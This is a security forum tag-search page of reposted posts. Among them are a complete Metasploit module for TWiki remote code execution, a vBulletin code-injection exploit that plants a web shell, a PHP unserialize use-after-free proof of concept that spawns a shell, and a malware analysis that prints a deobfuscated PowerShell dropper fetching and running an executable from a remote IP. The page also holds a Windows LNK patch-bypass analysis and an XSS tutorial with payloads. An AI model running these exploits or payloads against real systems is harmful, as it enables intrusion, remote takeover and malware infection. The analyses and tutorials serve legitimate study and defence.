Jump to content

Search the Community

Showing results for tags 'code'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

  1. OpenREIL is open source library that implements translator and tools for REIL (Reverse Engineering Intermediate Language). REIL was initially developed by Zynamics as part of their BinNavi framework, proprietary code analysis software written in Java. To learn more about REIL read the following documents: «REIL ? The Reverse Engineering Intermediate Language» (link) «The REIL language» (part 1, part 2, part 3, part 4) «Applications of the Reverse Engineering Language REIL» (PDF) «REIL: A platform-independent intermediate representation of disassembled code for static code analysis» (PDF) However, after Zynamics was acquired by Google they abandoned BinNavi, so, I decided to develop my own implementation of REIL. I made it relatively small and portable in comparison with original, the translator itself is just a single library written in C++, it can be statically linked with any program for static or dynamic code analysis. The higher level API of OpenREIL is written in Python, so, it can be easily utilized in plugins and scripts for your favourite reverse engineering tool (almost all modern debuggers and disassemblers has Python bindings). OpenREIL is not a 100% compatible with Zynamics REIL, it has the same ideology and basics, but there's some changes in IR instruction set and representation of the traget hardware platform features. OpenREIL is based on my custom fork of libasmir ? IR translation library from old versions of BAP framework. I removed some 3-rd party dependencies of libasmir (libbfd, libopcodes) and features that irrelevant to translation itself (binary files parsing, traces processing, etc.), than I did some minor refactoring/bugfixes, switched to Capstone for instruction length disassembling and implemented BAP IR ? REIL translation logic on the top of libasmir. Because libasmir uses VEX (production-quality library, part of Valgrind), full code translation sequence inside of OpenREIL is looks as binary ? VEX IR ? BAP IR ? REIL. It's kinda ugly from engineering point of view, but it allows us to have a pretty robust and reliable support of all general instructions of x86. Current version of OpenREIL still has no support of other architectures, but I'm working on x86_64 and ARMv5. Please note, that currently OpenREIL is a far away from stable release, so, I don't recommend you to use it for any serious purposes. Link : https://github.com/Cr4sh/openreil
  2. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TWiki Debugenableplugins Remote Code Execution', 'Description' => %q{ TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality. The value of the debugenableplugins parameter is used without proper sanitization in an Perl eval statement which allows remote code execution }, 'Author' => [ 'Netanel Rubin', # from Check Point - Discovery 'h0ng10', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-7236'], [ 'OSVDB', '112977'], [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236'] ], 'Privileged' => false, 'Targets' => [ [ 'Automatic', { 'Payload' => { 'BadChars' => "", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python php', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 09 2014')) register_options( [ OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]), OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin']) ], self.class) end def send_code(perl_code) uri = target_uri.path data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit" res = send_request_cgi!({ 'method' => 'POST', 'uri' => uri, 'data' => data }) return res end def check rand_1 = rand_text_alpha(5) rand_2 = rand_text_alpha(5) code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")" res = send_code(code) if res and res.code == 200 return CheckCode::Vulnerable if res.body == rand_1 + rand_2 end CheckCode::Unknown end def exploit code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");" code += "require('MIME/Base64.pm');MIME::Base64->import();" code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit" res = send_code(code) handler end end Source
  3. Era ?i timpul. Au f?cut tool de migrare automat? spre GitHub, ceea ce e mi?to. Google Open Source Blog: Bidding farewell to Google Code
  4. In early January 2015, researcher Michael Heerklotz approached the Zero Day Initiative with details of a vulnerability in the Microsoft Windows operating system. We track this issue as ZDI-15-086. Unless otherwise noted, the technical details in this blog post are based on his detailed research. To understand the significance of his report, we need to go back to the last decade. In mid-2009, Stuxnet was released against the Iranian nuclear program. Attributed to the United States and Israel, Stuxnet used multiple zero-day attacks against Windows to attack the Iranian centrifuges. It was discovered in June 2010 by VirusBlokAda and reported to Microsoft. In February 2015, Kaspersky Labs' Global Research & Analysis Team released findings that attacks included in Stuxnet were in use as early as 2008. The initial infection vector was a USB drive that took advantage of a vulnerability in the Windows operating system that allowed simply browsing to a directory to run arbitrary code. Windows allowed for .LNK files, which define shortcuts to other files or directories, to use custom icons from .CPL (Control Panel) files. The problem is that in Windows, icons are loaded from modules (either executables or dynamic link-libraries). In fact, .CPL files are actually DLLs. Because an attacker could define which executable module would be loaded, an attacker could use the .LNK file to execute arbitrary code inside of the Windows shell and do anything the current user could. To prevent this attack, Microsoft put in an explicit whitelist check with MS10-046, released in early August 2010. Once that patch was applied, in theory only approved .CPL files should have been able to be used to load non-standard icons for links. The patch failed. And for more than four years, all Windows systems have been vulnerable to exactly the same attack that Stuxnet used for initial deployment. To see how it failed, we need to examine the fix itself. To show the vulnerability in action, we made a brief video: The definition of the icon that will be used is extracted in a function called CControlPanelFolder::GetUiObjectOf() in Shell32.dll. We can see what changed by comparing the RTM version of Shell32.dll with the latest vulnerable version, using DarunGrim. Figure 1 Diffing the function We can see there are only two sections of code (highlighted above in red) that have changed in this function since release. The first changed block looks like this: Figure 2 The first changed block in the function (click to expand in new window) We can see that in the event the definition calls for a custom icon (that is, has a requested icon ID of 0), we check against the registered list. If we put this snippet of assembly into C++, it looks something like this: … if ( (iconID == 0) && !this->_IsRegisteredCPLApplet(&wszModuleFullPath) ) { iconID = -1; } … If the DLL isn’t on the whitelist, you cannot have the icon ID be 0, and so no custom load step. So, problem solved? Clearly not, or we wouldn’t be talking about this now. Let’s look at the other snippet of code that changed, and see if it gives us a clue. Figure 3 The second changed block in the function Now that’s interesting. If the module path specified contains a comma in it, we’re going to error out with an invalid argument. It is possible that this is unrelated to the fix for Stuxnet, but it looks odd. Let’s look at the context around it. Immediately before this block of code, there is an unchanged block that takes user-provided data and formats it -- using commas. Let’s take a look at that: Figure 4 Unchanged adjacent code If we put this block of assembly language into C++, it would look something like this: StringCchPrintfW(wszWorkingBuffer, 554u, L"%s,%d,%s", &wszModuleFullPath, iconID, &wszDisplayName); With this context, the second change looks to be part of the Stuxnet fix after all. We are forcing the icon ID to be something other than 0, but we then put it into a comma delimited string. Since we’re then erroring out if the path contains a comma, that looks like a fix for embedding a fake icon ID inside of the path, which would imply that the icon ID will be parsed out of this constructed string later. So, the obvious work-around has been closed off; we cannot spoof the formatted string to insert our own icon ID. The next thing that happens after we have formatted and checked this string is that it gets passed to ControlExtractIcon_CreateInstance(). This function creates a CCtrlExtIconBase object, and passes it the composite string as the first argument. Let’s look at the constructor. Figure 5 Following the string through the constructor (click to expand in new window) If we look at what happens to that initial argument, we see it ends up (again, translating into C++) being used like this: StringCchCopyW(this->wszIconString, 260u, pwzIconString); The buffer we have just created as 554 wide characters in length is in fact being truncated and put into a 260 wide character buffer. Not only that, but the string contains two pieces of information we know get used in icon loading – the path to the DLL and the icon ID. Where does that information come from? It comes from a function called CControlPanelFolder::GetModuleMapped(): Figure 6 Call to CControlPanelFolder::GetModuleMapped (click to expand in new window) If we put this into C++, it would look something like this: retVal = CControlPanelFolder::GetModuleMapped(pControl, false, &wszModuleFullPath, 260, &iconID, &wszModuleDisplayName, 260); There are two parts of this function that are important for us. As we can see from the code above, the caller specifies the size of the buffers that data is copied in to, and in this case, the buffers are sized for 260 wide characters. Because this data is actually extracted from the .LNK file that we control, this means we can provide a path string that is up to 260 wide characters long, and we know that there is a truncation bug that will use our data. The second issue is actually inside of CControlPanelFolder::GetModuleMapped(), and will be one of the last hurdles to exploitation. If the module path specified does not actually exist, the path will be combined with the System (or SystemWoW64) directory. Looking at that code as C++, it looks something like this: if ( !PathFileExistsW(pwzModuleFullPath) ) { if ( fDoNotUseWoW || !CControlPanelFolder::_IsWowCPL(pControl) ) GetSystemDirectoryW(&wzSystemDir, 260u); else GetSystemWow64DirectoryW(&wzSystemDir, 260u); if ( PathCombineW(&wzBuffer, &wzSystemDir, pwzModuleFileName) ) retVal = StringCchCopyW(pwzModuleFullPath, cwchModuleFullPath, &wzBuffer); else retVal = E_FAIL; } This doesn’t appear to be a problem (since we do need to actually load our planted DLL to get code running), but as we’ll see later, this is actually an issue in exploitation. To see why, we need to look at where our constructed and truncated string is used. What happens to that data? To see that, let’s look at what the actual call stack would look like when the exploit fired: Figure 7 Call stack on the DLL load for an icon Since we know that our constructed string is stored as a member variable in CCtrlExtIconBase, let’s go ahead and look at that call to _GetIconLocationW(). Figure 8 Parsing the constructed string in CCtrlExtIconBase ::_GetIconLocationW If we look at the code above, we can see that we’re searching for the comma separator (the buffer itself is one we’ve copied for the caller). If we find it, we null it out, and then derive the icon ID by calling StrToInt(). Now, we know from looking at the original fix that our icon ID will be forced to be -1, but will then be truncated into a 260 wide character buffer. Since the truncation includes the null, we’ll have 259 wide characters to work with, one of which will be a comma. If we provided a 257 character path, the string that we’d parse here is “<our path>,-“, with everything after the minus sign being truncated. And StrToIntW(L”-“) is 0. We have bypassed the check by converting the negative value back into our desired icon ID of 0. (In fact, we can skip the check entirely and just pass in a small negative icon ID to begin with.) Just putting in the overly long path won’t work, however; there is a problem. To see it, we need to go further down the call chain and see where our load fails. We know from the stack trace above that our call to LoadLibrary() will come from CPL_LoadCPLModule(). The problem is that CPL_LoadCPLModule() is also going to look for a manifest file. That, in and of itself, is not a problem, as it doesn’t require the manifest. The problem lies in how it looks for the file: Figure 9 Constructing the manifest file path If we put this into C++, it would look something like this: if ( StringCchPrintfW(&wzManifestPath, 260u, L"%s.manifest", pwzModuleFullPath) < 0 ) { return NULL; } So, if our path is too long to have a “.manifest” appended (the 260 character limit we’ve been seeing throughout this is MAX_PATH), we’re not even going to try to load the DLL. As we’ve already seen, we need to take the path to 257 characters in order to force the icon ID to 0, and we need the icon ID to be 0 to even get to CPL_LoadCPLModule(). We need one more issue. To find it, we need to work back up the stack trace, and see if we can do anything about that path name passed to CPL_LoadCPLModule(). When we do that, we can see that the string is actually extracted in the function CPL_ParseCommandLine(). CPL_ParseCommandLine uses a function called CPL_ParseToSeparator() to pull the component elements out. If we look inside CPL_ParseToSeparator(), we can see that it has two options for valid separators: Figure 10 A look inside CPL_ParseToSeparator There is a flag which determines if only commas will be considered to be separators, or if unescaped spaces will as well. When we look at the first call to CPL_ParseToSeparator() (which extracts the module path), we can see that it has the flag set to consider spaces as valid separators: Figure 11 Initial call to CPL_ParseSeparator At this point, we have everything we need to get an exploit running. We’ll need to construct a malicious .LNK file which has a link path of exactly 257 characters, but uses embedded unescaped spaces to cause the extraction to truncate in CPL_ParseToSeparator(). That allows us to have a short enough path for the concatenation of the “.manifest” to the filename in CPL_LoadCPLModule() to work. That brings us back to our earlier note that CControlPanelFolder::GetModuleMapped() will check to see if the full module path (including embedded spaces) exists. So we’ll need to have two files, one with the embedded spaces (to pass the file existence check), and one without (to actually be loaded). Unlike a case of memory corruption, this attack doesn’t need to worry about low-level operating system mitigations. This bug has its roots in the decades-old decision to load icons by loading executable modules into the process, and because of that, there is no need to worry about any other mitigations. The Windows operating system itself will handle resolving ASLR and loading the attack into executable memory. And because of that, the attack is stable, reliable, and works cleanly across Windows versions. Microsoft has gone to a great deal of effort to make exploitation of memory corruption bugs more difficult. This is a classic example of the Defender’s Dilemma -- the defender must be strong everywhere, while the attacker needs to find only one mistake. In a future Security Briefing, ZDI will examine MS15-020, the patch that was released today to address CVE-2015-0096, and look at how Microsoft made changes to try to prevent this attack from coming back a third time. Source
  5. This is a proof-of-concept exploit that is able to escape from Native Client's x86-64 sandbox on machines that are susceptible to the DRAM "rowhammer" problem. It works by inducing a bit flip in read-only code so that the code is no longer safe, producing instruction sequences that wouldn't pass NaCl's x86-64 validator. Note that this uses the CLFLUSH instruction, so it doesn't work in newer versions of NaCl where this instruction is disallowed by the validator. Download
  6. In this article, we will discuss HTML5 Web Messaging (or Cross Domain Messaging) attack vectors and security implementations. Why is it important to understand HTML5 attacks? HTML5 is one of the emerging technologies for next generation Web applications. It has brought a lot of new features to the Web. HTML5 applications are also widely used in the mobile app world. Along with the features, HTML5 has brought various new attack vectors as well. The main focus of this article is to show the possible attack vectors with the Cross Domain Messaging feature. Before going ahead with the security concepts of Cross Domain Messaging, let us understand the basics of how Cross Domain Messaging is implemented in HTML5. Cross Domain Messaging Due to the same origin policy restrictions before HTML5, sending messages between windows was only possible if both windows used the same protocol, port, and host. With the introduction of HTML5, all those restrictions are gone and we can now pass messages across domains without having to worry about Same Origin Policy restrictions. HTML5 has a new method called postMessage(). Using this, we can pass messages between windows regardless of their origin. Below is the syntax of postMessage(). Sending Window: otherWindow.postMessage(message, targetOrigin, [transfer]); otherWindow: This is a reference to another window. Message: The message to be passed to the receiving window. targetOrigin: The URL of the receiving window must be specified here. If we do not have any specific preference, we can specify it as “*”. Specifying “*” as ‘targetOrigin’ has some security implications we will discuss in later sections of this article. Transfer: This is optional. Receiving Window: When otherWindow.postMessage() is executed, a messageEvent will be dispatched at the receiver window. We can receive the message dispatched by the sender using the following code snippet. window.addEventListener("message",receiveMessage, false); function receiveMessage(event){ if (event.origin !== "http://site.com:8383") return; // ... } From the above code snippet, we can access the data and origin of this message as shown below. event.origin – Gives the origin of the message (The URI from which we are receiving this message). event.data – Gives the actual message being sent. Now, we have got some basic knowledge of what cross domain messaging in HTML5 is and how it is implemented in the applications. Let us now see the security implications of cross domain messaging. For demonstration purposes, I have set up the following lab. A: http://localhost:8383/ B: Romanian Security Team - Homepage As we can see, we have two different ports on the above two URLs. The first URL is running on port 8383 and the second URL is on the default port 80. So, it is obvious that they have two different origins, since the port numbers are different. In our lab setup, A is the message sender and B is the receiving window. We are going to load the second URL Romanian Security Team - Homepage as an iframe in the first URL. I can send messages from the domain http://localhost:8383/ to the domain Romanian Security Team - Homepage using the postMessage method. We can check it by clicking the “Send Message” button as shown below. The iframe which is loaded into the first URL is from a different origin, but we are able to send a message to it using HTML5’s postMessage() method. Now, let us look at some scenarios where this postMessage() implementation can introduce vulnerabilities into our applications. Case 1 Code at sender: receiver.postMessage('Hi There..!', '*');< When the sender has the above code where he specifies the target origin with a wildcard “*”, an unintended recipient (window) can receive this message from the sender. Since the receiving window is listening for incoming messages, anyone can load it into an iframe and can listen for the messages coming to it. So, it is a bad idea to give a wildcard when passing sensitive data to the receiving windows. How to fix this: It is possible to fix this just by adding the specific target in the target field. So, in this case http://localhost is the only origin that can receive this message. This is as shown below. receiver.postMessage('Hi There..!', 'http://localhost'); Case 2 Code at receiving window: function receiveMessage(e) { do something..! } In the above code, we are receiving the message from the sender and directly processing it without checking who sent this message. It is always important to check the origin of the message to prevent receiving messages from unauthorized senders. How to fix this: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; do something..! } Always validate the origin from which you want to receive the messages. In our case, we want to receive messages only from http://localhost:8383. So, we are making a simple check to see if the message is coming from http://localhost:8383 using the property event.origin. If this is not matching, we won’t receive the message. Case 3 The next attack vector is the infamous Cross Site Scripting. Both the sender as well as receiver should always validate the messages being passed. If the data is inserted into HTML DOM without proper validation, then the application becomes vulnerable to DOM based Cross Site Scripting. The following code snippet shows how an application may become vulnerable when a malicious message is received from the attacker and it is inserted into the receiver’s HTML DOM using innerHTML property. Sender: receiver.postMessage("<img src='x' onerror=alert(1);>", 'http://localhost'); Receiver: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; messageEle.innerHTML = "Message from localhost:8383: " + e.data; } When the above code is executed, it causes an XSS in the receiving window as shown in the figure below. How to fix this: The easiest way to fix this issue is to assign the data value to an element using textContent rather than using innerHTML. This is done as shown below. Sender: receiver.postMessage("<img src='x' onerror=alert(1);>", 'http://localhost'); Receiver: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; element.textContent = "Message from localhost:8383: " + e.data; } When the above code is executed, we should see the text displayed in the receiving frame as “data” rather than code. As we can see in the above figure, the code is now not executed. Rather, it is displayed as normal text. Conclusion We have discussed the basics of Cross Domain Messaging and some of the possible attacks against this feature in HTML5. We will discuss other possible attacks against HTML5 web applications in later articles. Source
  7. Sources: http://googleprojectzero.blogspot.ca/2015/03/exploiting-dram-rowhammer-bug-to-gain.html https://code.google.com/p/google-security-research/issues/detail?id=284 Full PoC: http://www.exploit-db.com/sploits/36311.tar.gz This is a proof-of-concept exploit that is able to escape from Native Client's x86-64 sandbox on machines that are susceptible to the DRAM "rowhammer" problem. It works by inducing a bit flip in read-only code so that the code is no longer safe, producing instruction sequences that wouldn't pass NaCl's x86-64 validator. Note that this uses the CLFLUSH instruction, so it doesn't work in newer versions of NaCl where this instruction is disallowed by the validator. There are two ways to test the exploit program without getting a real rowhammer-induced bit flip: * Unit testing: rowhammer_escape_test.c can be compiled and run as a Linux executable (instead of as a NaCl executable). In this case, it tests each possible bit flip in its code template, checking that each is handled correctly. * Testing inside NaCl: The patch "inject_bit_flip_for_testing.patch" modifies NaCl's dyncode_create() syscall to inject a bit flip for testing purposes. This syscall is NaCl's interface for loading code dynamically. Mark Seaborn mseaborn@chromium.org March 2015 Source
  8. Poate intereseaza pe cineva PENETRATION TESTING SPECIALIZATION - InSEC-Techs Coupon Code : COUPON3236908
  9. ################################################################################################################# [+] Exploit Title: vBulletin 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability [+] Discovered By: Dariush Nasirpour (Net.Edit0r) [+] My Homepage: black-hg.org / nasirpour.info [+] Date: [2015 27 February] [+] Vendor Homepage: vBulletin.com [+] Tested on: [vBulletin 4.2.2] [+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg ) ################################################################################################################# Remote Code Injection: +++++++++++++++++++++++++ 1) You Must Register In The vBulletin http://www.victim.com/register.php example:[blackhat] 2) go to your user profile example: [http://black-hg.org/cc/members/blackhat.html] 3) post something in visitor message and record post data with live http header [example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse= 4- change message to anything "For-Test-Sample" => "ALEEEEEEEEX" [because vBulletin don't let you send same comment in a time] [Now post this with hackbar:] URL: http://black-hg.org/cc/visitormessage.php?do=message [Post data] message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=1&s=&securitytoken=1425024074-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=1425022046&allow_ajax_qc=1&fromconverse= [And referrer data:] PoC : http://black-hg.org/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked[u can upload shell]")}}]" 5- Open hackbar and tamper it with taper data: referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://black-hg.org/cc/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked[you can upload shell]")}}]" and submit request. ################################################################################################################ Source
  10. Introduction Yesterday I received in my company inbox an email with an attached .xlsm file named D92724446.xlsm coming from Clare588@78-83-77-53.spectrumnet.bg. Central and local AV engines did not find anything malicious, and a multiengine scan got 0/57 as result. I decided to investigate a little more in-depth in order to confirm that was a malicious file and to extract at least the code I was imagining being inside this document. General Information This is some general info collected: Name: D92724446.xlsm MD5: fea3ab857813c0d65cd0b6b6233a834b SHA1: 64eef048efe86fe35f673fd2d853a8a727934e6c SHA256: 75e3a4cd45c08ff242e2927fa3b4ee80858073a202dade84898040bfbb7847ef ssdeep 768:qEIo/BPRS5t1dbQjlshORhynxvWXLUYJdGnSCk:qIJM8jl6nIP File size: 36.1 KB ( 36978 bytes ) File type: Office Open XML Spreadsheet Virus Total information: First submission: 2015-02-18 10:35:06 UTC Last submission: 2015-02-19 08:58:57 UTC Others names: 93D9B24583.xlsm e94fcc43b0dc9c7eb350149b4ebdfd3d 61a47fa44dd55f5721ebe85aa83a32e6 I233185_486.xlsm L335966_246.xlsm 271269885.xlsm 4501B81210.xlsm e65fb3285617c7b4bbc833a466be6c42 5312970.xlsm 9D50B4390.xlsm DDE1368393.xlsm E30178611.xlsm 43c29faad6fc5984273afcc67593d802 FE731885.xlsm C47394.xlsm suspect.xls 090214399.xlsm Q884674_740.xlsm E015272_266.xlsm U506714_083.xlsm 43925982.xlsm 8BB4D89313.xlsm.zip 82AC485705.xlsm 8abb99eb6078b658e05aece79337378a 0BF2034112.xlsm Static Analysis I started my analysis having a quick look inside: At offset 0 we can quickly view 4 bytes that confirm the format of the file (50 4B 03 04). At this point, I tried to get more information and to see how this document was composed: This quickly confirm my first suspicions. At offset 0x000012f1 a .bin file is found. Going a little ahead, we can try to get the code of these instructions: The code has been extracted, and different files for Classes and Modules have been created under \OfficeMalScanner\VBAPROJECT.BIN-Macros. Opening these files with a simple text editor, I immediately found many obfuscated instructions, as reported in the image below: However, after a quick analysis I realized that the modules really important for extracting of the malicious code were numbers 11 and 14. This is because the module number 11 contains the instructions for running the obfuscated code assigned to the variable named “FfdsfF” and de-obfuscated through the function call “NewQkeTzIIHM”. “NewQkeTzIIHM” takes one parameter in input as string and returns a string. These are its main instructions: The -13 immediately brings to mind a de-obfuscation loop which employs the rot13 algorithm. At this point, I simply wrote few lines of vbs code to correctly extract the content and print it to a txt file called output.txt. Function WriteFile(sText) Set objFSO = CreateObject("Scripting.FileSystemObject") Set objMyFile = objFSO.OpenTextFile( "C:\Users\EOSec\Desktop\output.txt", 8, true, 0 ) objMyFile.WriteLine(sText) objMyFile.close() End Function Dim i,x,y x = "pzq-<X-]|„r`uryy;r…r-5[r„:\owrp-`†€rz;[r;droPyvr{6;Q|„{y|nqSvyr54u}G<<B;>FC;?A@;D<x„rsr„rs<stq€rr<q…‡~;w}t4942aRZ]2iWV\v|qsuv|VU;pno46H-r…}n{q-2aRZ]2iWV\v|qsuv|VU;pno-2aRZ]2iWV\v|qsuv|VU;r…rH-€n-2aRZ]2iWV\v|qsuv|VU;r…rH" For i = 1 To Len(x) y = y + Chr(Asc(Mid(x, i, 1)) - 13) Next WriteFile(y) This is the clear code obtained: cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe; And this the whois of the remote IP: inetnum 5.196.243.0 – 5.196.243.7 netname Just_Hosting country IE descr Just Hosting admin-c OTC9-RIPE tech-c OTC9-RIPE status ASSIGNED PA mnt-by OVH-MNT source RIPE # Filtered A file named dxzq.jpg is downloaded. It’s really a CAB file (JIOiodfhioIH.cab) that is then expanded to JIOiodfhioIH.exe and run. Source
  11. Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273] Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.1.29 - Release Date: 2015.2.20 A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.6 Affected is PHP 5.5 < 5.5.22 Affected is PHP 5.4 < 5.4.38 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht) { zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone); ... static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC) { zval **z_timezone = NULL; zval **z_timezone_type = NULL; if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) { if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) { convert_to_long(*z_timezone_type); if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) { return SUCCESS; } } } return FAILURE; } The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. <?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Test the PoC on the command line, then any PHP code can be executed: $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb) Source
  12. -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 PHP Code Execution in jui_filter_rules Parsing Library ====================================================== Researcher: Timo Schmid <tschmid@ernw.de> Description =========== jui_filter_rules[1] is a jQuery plugin which allows users to generate a ruleset which could be used to filter datasets inside a web application. The plugin also provides a PHP library to turn the user submitted ruleset into SQL where statements for server side filtering. This PHP library contains a feature which allows to convert the submitted filter values with server side functions. These functions can be specified within the ruleset, which leads to an arbitrary PHP code execution. Exploitation Technique ====================== Remote Severity Level ============== Critical CVSS Base Score =============== 6.8 (AV:N / AC:M / Au:N / C:P / I:P / A:P) CVE-ID ====== <unassigned> Impact ====== By using the provided rule parsing library to generate SQL statements, an attacker is capable of executing arbitrary PHP code in the context of the web server. This could lead to a full compromise of the web server. The attack vector could be limited by existing validation mechanisms around the library, but this would require a partial manual parsing of the user supplied rules. Status ====== Reported Vulnerable Code Section ======================= server_side/php/jui_filter_rules.php: [...] private function create_filter_value_sql($filter_type, $operator_type, ... [...] if(is_array($filter_value_conversion_server_side)) { $function_name = $filter_value_conversion_server_side['function_name']; $args = $filter_value_conversion_server_side['args']; $arg_len = count($args); for($i = 0; $i < $vlen; $i++) { // create arguments values for this filter value $conversion_args = array(); for($a = 0; $a < $arg_len; $a++) { if(array_key_exists('filter_value', $args[$a])) { array_push($conversion_args, $a_values[$i]); } if(array_key_exists('value', 